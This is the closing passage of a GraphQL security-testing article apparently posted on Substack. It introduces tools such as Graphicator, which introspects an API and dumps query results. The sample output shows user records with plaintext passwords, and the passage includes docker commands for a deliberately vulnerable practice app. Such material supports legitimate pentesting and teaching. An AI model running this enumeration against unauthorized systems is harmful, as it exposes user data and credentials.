consoles)</p></li><li><p>Use a custom GraphQL tab displayed on each HTTP request/response containing GraphQL</p></li><li><p>Leverage the templates generation by sending those requests to Burp's Repeater tool ("Send to Repeater")</p></li><li><p>Leverage the templates generation and editor support by sending those requests to embedded GraphIQL ("Send to GraphiQL")</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!DGaz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8416cd93-9906-4aa5-a329-3ac333392720_1024x839.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!DGaz!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8416cd93-9906-4aa5-a329-3ac333392720_1024x839.png 424w, https://substackcdn.com/image/fetch/$s_!DGaz!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8416cd93-9906-4aa5-a329-3ac333392720_1024x839.png 848w, https://substackcdn.com/image/fetch/$s_!DGaz!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8416cd93-9906-4aa5-a329-3ac333392720_1024x839.png 1272w, https://substackcdn.com/image/fetch/$s_!DGaz!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8416cd93-9906-4aa5-a329-3ac333392720_1024x839.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!DGaz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8416cd93-9906-4aa5-a329-3ac333392720_1024x839.png" width="1024" height="839" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8416cd93-9906-4aa5-a329-3ac333392720_1024x839.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:839,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:189440,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!DGaz!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8416cd93-9906-4aa5-a329-3ac333392720_1024x839.png 424w, https://substackcdn.com/image/fetch/$s_!DGaz!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8416cd93-9906-4aa5-a329-3ac333392720_1024x839.png 848w, https://substackcdn.com/image/fetch/$s_!DGaz!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8416cd93-9906-4aa5-a329-3ac333392720_1024x839.png 1272w, https://substackcdn.com/image/fetch/$s_!DGaz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8416cd93-9906-4aa5-a329-3ac333392720_1024x839.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>GraphQL Voyager Visualizer Tool</h2><p>Tool: <a href="https://ivangoncharov.github.io/graphql-voyager/">https://ivangoncharov.github.io/graphql-voyager/</a></p><p>This tool allows for visualizing a GraphQL by providing the output of the introspection query. It is very useful, interactive and provides a special way of visualizing the data (like the phpMyAdmin's database designer)</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ofqH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19529da8-1fb1-4f8b-a154-11e1dd83e764_1024x929.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ofqH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19529da8-1fb1-4f8b-a154-11e1dd83e764_1024x929.png 424w, https://substackcdn.com/image/fetch/$s_!ofqH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19529da8-1fb1-4f8b-a154-11e1dd83e764_1024x929.png 848w, https://substackcdn.com/image/fetch/$s_!ofqH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19529da8-1fb1-4f8b-a154-11e1dd83e764_1024x929.png 1272w, https://substackcdn.com/image/fetch/$s_!ofqH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19529da8-1fb1-4f8b-a154-11e1dd83e764_1024x929.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ofqH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19529da8-1fb1-4f8b-a154-11e1dd83e764_1024x929.png" width="1024" height="929" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/19529da8-1fb1-4f8b-a154-11e1dd83e764_1024x929.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:929,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:265233,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ofqH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19529da8-1fb1-4f8b-a154-11e1dd83e764_1024x929.png 424w, https://substackcdn.com/image/fetch/$s_!ofqH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19529da8-1fb1-4f8b-a154-11e1dd83e764_1024x929.png 848w, https://substackcdn.com/image/fetch/$s_!ofqH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19529da8-1fb1-4f8b-a154-11e1dd83e764_1024x929.png 1272w, https://substackcdn.com/image/fetch/$s_!ofqH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F19529da8-1fb1-4f8b-a154-11e1dd83e764_1024x929.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Graphicator</h2><p>The Graphicator is our new tool, published same time publishing this article. It helps by mapping the application's interface by introspecting the engine. Then, it creates the queries, makes requests on the endpoint based on such queries and storing the responses into separate files.</p><pre><code>python3 main.py --target http://target:8000/graphql --verbose --multi

  _____                  __    _             __           
 / ___/____ ___ _ ___   / /   (_)____ ___ _ / /_ ___   ____
/ (_ // __// _ `// _ \ / _ \ / // __// _ `// __// _ \ / __/
\___//_/   \_,_// .__//_//_//_/ \__/ \_,_/ \__/ \___//_/   
               /_/                                         

By @fand0mas

[-] Targets:  1
[-] Headers:  'Content-Type', 'User-Agent'
[-] Verbose
[-] Using cache: True
************************************************************
  0%|                                                     | 0/1 [00:00&lt;?, ?it/s][*] Enumerating... http://localhost:8000/graphql
[*] Retrieving... =&gt; query {getArticles  { id,title,views } }
[*] Retrieving... =&gt; query {getUsers  { id,username,email,password,level } }
100%|&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;| 1/1 [00:00&lt;00:00, 35.78it/s]</code></pre><pre><code>$ cat reqcache/9652f1e7c02639d8f78d1c5263093072fb4fd06c.json 
{
    "data": {
        "getUsers": [
            {
                "id": 1,
                "username": "theo",
                "email": "theo@example.com",
                "password": "1234",
                "level": 1
            },
            {
                "id": 2,
                "username": "john",
                "email": "john@example.com",
                "password": "5678",
                "level": 1
            }
        ]
    }
}</code></pre><p>You can even deploy that in seconds using docker:</p><pre><code>docker run --rm -it -p8005:80 cybervelia/graphicator --target http://target:port/graphql --verbose</code></pre><p><strong>Github:</strong> <a href="https://github.com/cybervelia/graphicator">https://github.com/cybervelia/graphicator</a></p><h2><strong>A Final Note</strong></h2><p>The GraphQL doesn't support a date/time data type. So this often leads to logic errors as the data are stored as a String. This can even lead to an XSS (as the developer might assume the front-end will provide a date field).</p><h2><strong>More</strong></h2><p><strong>To have some experience with GraphQL:</strong></p><pre><code>docker run --rm -p8000:8000 cybervelia/damn-vuln-graphql</code></pre><p><strong>A Damn Vulnerable GraphQL Web Application:</strong></p><p><a href="https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application">https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application</a></p><p><strong>Offical GraphQL's Website:</strong> graphql.org</p><p><strong>Other Interesting Tools</strong></p><ul><li><p><a href="https://github.com/swisskyrepo/GraphQLmap">https://github.com/swisskyrepo/GraphQLmap</a></p></li><li><p><a href="https://github.com/andev-software/graphql-ide">https://github.com/andev-software/graphql-ide</a></p></li></ul><p>GraphQL References:</p><ul><li><p><a href="https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/">https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/</a></p></li><li><p><a href="https://medium.com/@ignaciochiazzo/introspection-in-graphql-a5a5bd744a66">https://medium.com/@ignaciochiazzo/introspection-in-graphql-a5a5bd744a66</a></p></li><li><p><a href="https://prog.world/pentest-applications-with-graphql/">https://prog.world/pentest-applications-with-graphql/</a></p></li><li><p><a href="https://blog.doyensec.com/2018/05/17/graphql-security-overview.html">https://blog.doyensec.com/2018/05/17/graphql-security-overview.html</a></p></li><li><p><a href="https://raz0r.name/articles/why-you-should-not-use-graphql-schema-generators/#more-910">https://raz0r.name/articles/why-you-should-not-use-graphql-schema-generators/#more-910</a></p></li><li><p><a href="https://devhints.io/graphql">https://devhints.io/graphql</a></p></li><li><p><a href="https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e">https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e</a></p></li><li><p><a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql">https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql</a></p></li><li><p><a href="https://graphql.org/learn/queries/">https://graphql.org/learn/queries/</a></p></li><li><p><a href="https://escape.tech/blog/graphql-batch-attacks-cause-dos/">https://escape.tech/blog/graphql-batch-attacks-cause-dos/</a></p></li></ul><p><strong>Author</strong>: <a href="https://twitter.com/fand0mas">Theodoros Danos</a></p>]]></content:encoded></item></channel></rss>